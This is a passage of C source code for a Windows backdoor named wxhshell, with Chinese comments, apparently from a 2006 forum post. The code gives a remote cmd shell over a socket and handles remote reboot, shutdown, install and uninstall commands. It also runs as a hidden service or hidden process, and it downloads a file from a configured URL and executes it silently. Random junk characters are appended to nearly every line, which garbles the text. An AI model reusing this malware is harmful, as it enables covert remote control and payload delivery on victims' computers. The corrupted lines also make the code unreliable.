  } &|Pu-A"5~  
  // 安装 Xm1[V&  
  case 'i': { cK`"lxO  
    if(Install()) >TjJA #  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AoaN22  
    else [xb]Wf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p?X02 >yA  
    break; a l&(-#1  
    }  {@Y  
  // 卸载 CHJ> {b`O  
  case 'r': { b;GD/UI  
    if(Uninstall()) {HOy_Fiih  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3WY$WRv  
    else vuQ%dDxI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -e u]:4  
    break; \5)htL1F  
    } :_kAl? eJ  
  // 显示 wxhshell 所在路径 J;$N{"M  
  case 'p': { wsU V;S*X%  
    char svExeFile[MAX_PATH]; [5$w=u"j  
    strcpy(svExeFile,"\n\r"); S8, Z;y  
      strcat(svExeFile,ExeFile); sJ z@7.  
        send(wsh,svExeFile,strlen(svExeFile),0); wJ<Oo@snm  
    break; h*B|fy4K9U  
    } X"fh@.  
  // 重启 [&?8,Q(  
  case 'b': { w$Ot{i|$(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,)!u)wz  
    if(Boot(REBOOT)) (Y% Q|u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qT:zEt5  
    else { \C^;k%{LV  
    closesocket(wsh); ra N)8w}-  
    ExitThread(0); qU6nJi+-I  
    } US [dkbKo  
    break; Gfp1mev   
    } `qVjwJ!+  
  // 关机 @4$\ 5 %j  
  case 'd': { %ir:AS k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Va VN  
    if(Boot(SHUTDOWN)) in`aGFQO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &sXRN &Fp  
    else { <#GB[kQa  
    closesocket(wsh); gb=/#G0R  
    ExitThread(0); 6 15s5ZA  
    } G rmzkNlN  
    break; kql0J|P?  
    } YXurYwV  
  // 获取shell Em 6Qe  
  case 's': { bI)u/  
    CmdShell(wsh); r7]zQIE  
    closesocket(wsh); :,b iyJt  
    ExitThread(0); {gNV[45  
    break; >gwz,{  
  } 5}$b0<em~  
  // 退出 ;Vik5)D2D  
  case 'x': { *=V7@o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cv ejb+  
    CloseIt(wsh); me6OPc;:!  
    break; cRd0S*QN2  
    } G$0c '9d*(  
  // 离开 ,j:|w+l  
  case 'q': { +ISz?~8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h7*W *Bd  
    closesocket(wsh); `Q3s4VEC  
    WSACleanup(); l!}:|N Yh!  
    exit(1); -<v~snq'  
    break; r;L>.wl*I  
        } ^EG\iO2X  
  } 7@lS.w\#-  
  } 3kcTE&1^  
:c9U>1`g&  
  // 提示信息 6 5y+Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y{v(p7pl  
} Hn>B!Bm*  
  } I1oje0$  
#_Z$2L"U  
  return; ?m$a6'2-,J  
} U j+j}C  
a22Mufl  
// shell模块句柄 P&m\1W(  
int CmdShell(SOCKET sock) 7XKY]|S,'  
{ b"!Q2S~  
STARTUPINFO si; "YdEE\  
ZeroMemory(&si,sizeof(si)); 8:BIbmtt5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o9xlu.QL{c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2aJS{[  
PROCESS_INFORMATION ProcessInfo; p~noM/*2r  
char cmdline[]="cmd"; uZfnzd)c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +dA,P\  
  return 0; P=3RLL<l  
} W^3uEm&l!)  
322jR4QGr  
// 自身启动模式 ]EwVpvTw  
int StartFromService(void) |-V&O=!^+  
{ FOq1>>a0  
typedef struct c wg !j!l  
{ 9j W2  
  DWORD ExitStatus; qd"_Wu6aF=  
  DWORD PebBaseAddress; sY?,0T_m  
  DWORD AffinityMask; VJ ^dY;  
  DWORD BasePriority; it]E-^2>  
  ULONG UniqueProcessId; p!k7C&]E  
  ULONG InheritedFromUniqueProcessId; b'6- dU%  
}   PROCESS_BASIC_INFORMATION; \U|ZR  
3}|'0(hYL  
PROCNTQSIP NtQueryInformationProcess; Og=*R6i  
z1^gDjkZ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8 k3S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; '* \|; l#1  
zC _<(4$-"  
  HANDLE             hProcess; TuW%zF/  
  PROCESS_BASIC_INFORMATION pbi; rx (2yf  
N3u((y/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L\y;LSTU  
  if(NULL == hInst ) return 0; 6c^e\0q  
asY[8r?U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \(t@1]&jw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u7?$b!hG^C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rQ7+q;[J  
?wnzTbJN  
  if (!NtQueryInformationProcess) return 0; hXqD<?  
V& C/Z}\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u%~igt@x  
  if(!hProcess) return 0; +cD!1IT:  
6N)!aT9eo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >A@Y$.  
fN'HE#W1Xa  
  CloseHandle(hProcess); dt2$`X18  
(@iMLuewK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^"J8r W6[  
if(hProcess==NULL) return 0; Q WMdn  
\GHiLs,!  
HMODULE hMod; =gcM%=*'  
char procName[255]; lFTF ,G  
unsigned long cbNeeded; >y Y'7Ey  
gi 0W;q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )T;?^kho  
detwa}h[0  
  CloseHandle(hProcess); wn)JXR  
~I{n^Q/a  
if(strstr(procName,"services")) return 1; // 以服务启动 +-E~6^>  
}:Z#}8  
  return 0; // 注册表启动 H,N)4;F<c  
} _E@ :O+K  
IpP~Uz  
// 主模块 Ug&,Y/tFw2  
int StartWxhshell(LPSTR lpCmdLine) SJIOI@\b  
{ L[=a/|)TBV  
  SOCKET wsl; 5Hcf;P7   
BOOL val=TRUE; x' .:&z  
  int port=0; -!c"k}N=  
  struct sockaddr_in door; u%.$BD Hg  
0{#8',*}m?  
  if(wscfg.ws_autoins) Install(); ezPz<iZ\N  
v%fu  
port=atoi(lpCmdLine); $V1;la!  
K~22\G`  
if(port<=0) port=wscfg.ws_port; 6 ND`l5  
5 Kkdo!z  
  WSADATA data; V*W;OiE_ 3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3>Y 6)  
gks{\H]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   CZ nOui  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $z+8<?YD  
  door.sin_family = AF_INET; Y-7^o@y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q7"7U=W0  
  door.sin_port = htons(port); =2@B&  
A'2w>8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a{[x4d,z  
closesocket(wsl); 6P';DB  
return 1; U^Xm)lL  
} )HX|S-qRU=  
YfRkwKjy(  
  if(listen(wsl,2) == INVALID_SOCKET) { /{|fyKo\?  
closesocket(wsl); F$[ U|%*  
return 1; o`Ta("9^  
} rD*sl}  
  Wxhshell(wsl); y K"kEA[;  
  WSACleanup(); %Qj;,#z  
=9j8cC5y  
return 0; F+@5C:<?  
s>^dxF!+  
} e [8LmuIZ  
u?9" jX  
// 以NT服务方式启动 !%c'$f/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) clk[/'1  
{ ,mj@sC>  
DWORD   status = 0; ~q~MoN<R  
  DWORD   specificError = 0xfffffff; X$yN_7|+  
3"O>&Q0c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U4cY_p?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z@wMc EH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {c (!;U  
  serviceStatus.dwWin32ExitCode     = 0; f4BnX(1u  
  serviceStatus.dwServiceSpecificExitCode = 0; *W kIq>  
  serviceStatus.dwCheckPoint       = 0; f"St&q>[s  
  serviceStatus.dwWaitHint       = 0; O)"gS!,  
9D4NX<_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J&T.(  
  if (hServiceStatusHandle==0) return; '{(UW.Awo  
0pbtH8~  
status = GetLastError(); ;g~TWy^o  
  if (status!=NO_ERROR) k68F-e[i^  
{ k2AJXw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lIProF0  
    serviceStatus.dwCheckPoint       = 0; Jej` ;I  
    serviceStatus.dwWaitHint       = 0; _vZ"4L+Iw+  
    serviceStatus.dwWin32ExitCode     = status; !&"<oPjr+  
    serviceStatus.dwServiceSpecificExitCode = specificError; t 89!Ihk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ovj^IjG-`  
    return; $_x^lr  
  } mVR P~:+  
*guoWPA|Ij  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; d20gf:@BM  
  serviceStatus.dwCheckPoint       = 0; k70|'*Kh  
  serviceStatus.dwWaitHint       = 0; YJo["Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E>}4$q[r  
} X_7UJ jFw"  
3}/&w\$  
// 处理NT服务事件,比如:启动、停止 D#o}cC.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OD5m9XS  
{ DS'n  
switch(fdwControl) ~}+Hgi  
{ -UD\;D?$  
case SERVICE_CONTROL_STOP: qv@$ZLR  
  serviceStatus.dwWin32ExitCode = 0; u&n' ITH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [3!~PR]  
  serviceStatus.dwCheckPoint   = 0; BN4_:  
  serviceStatus.dwWaitHint     = 0; .<Zy|1 4  
  { Q*b]_0Rb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w.0qp)}  
  } <^lRUw  
  return; /jRRf"B  
case SERVICE_CONTROL_PAUSE: qu-/"w<3$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $bsG]  
  break; ]X^rU`":  
case SERVICE_CONTROL_CONTINUE: t8dm)s[r8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PoT`}-9  
  break; |P%DkM*X  
case SERVICE_CONTROL_INTERROGATE: D &/L:  
  break; W]5USFan  
}; IzpZwx^3''  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8A+SjJ4$  
} GO^_=EMR[  
G rk@dZI  
// 标准应用程序主函数 G 8V,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Bn(W"=1  
{ H V;D?^F  
GPGm]Gt  
// 获取操作系统版本 4A2?Uhp y  
OsIsNt=GetOsVer(); YE9,KVV;$n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dtc IC0:[  
6#QK%[1!>  
  // 从命令行安装 7__Q1 > o  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4'LB7}WG  
mD/MJt5  
  // 下载执行文件 7Ddaf>  
if(wscfg.ws_downexe) { F  3'9u#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N+y&,N,  
  WinExec(wscfg.ws_filenam,SW_HIDE); nVI! @qW  
} E,f>1meN=  
p^'3Odd|O  
if(!OsIsNt) { L_K=g_]  
// 如果时win9x,隐藏进程并且设置为注册表启动 }sOwp}FV8X  
HideProc(); pe{; ~-|6  
StartWxhshell(lpCmdLine); y})70w@ +_  
} g=$1cC+(  
else gw}Mw  
  if(StartFromService()) ~mR'Q-hi<  
  // 以服务方式启动 >z.<u|r2  
  StartServiceCtrlDispatcher(DispatchTable); ?|ZTaX6A  
else Ed ,D8ND  
  // 普通方式启动 4M^G`WA}t9  
  StartWxhshell(lpCmdLine); D7S'*;F  
b/Xbs0q  
return 0; ME=/|.}D<  
}
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只看该作者 1 发表于: 2006-10-10
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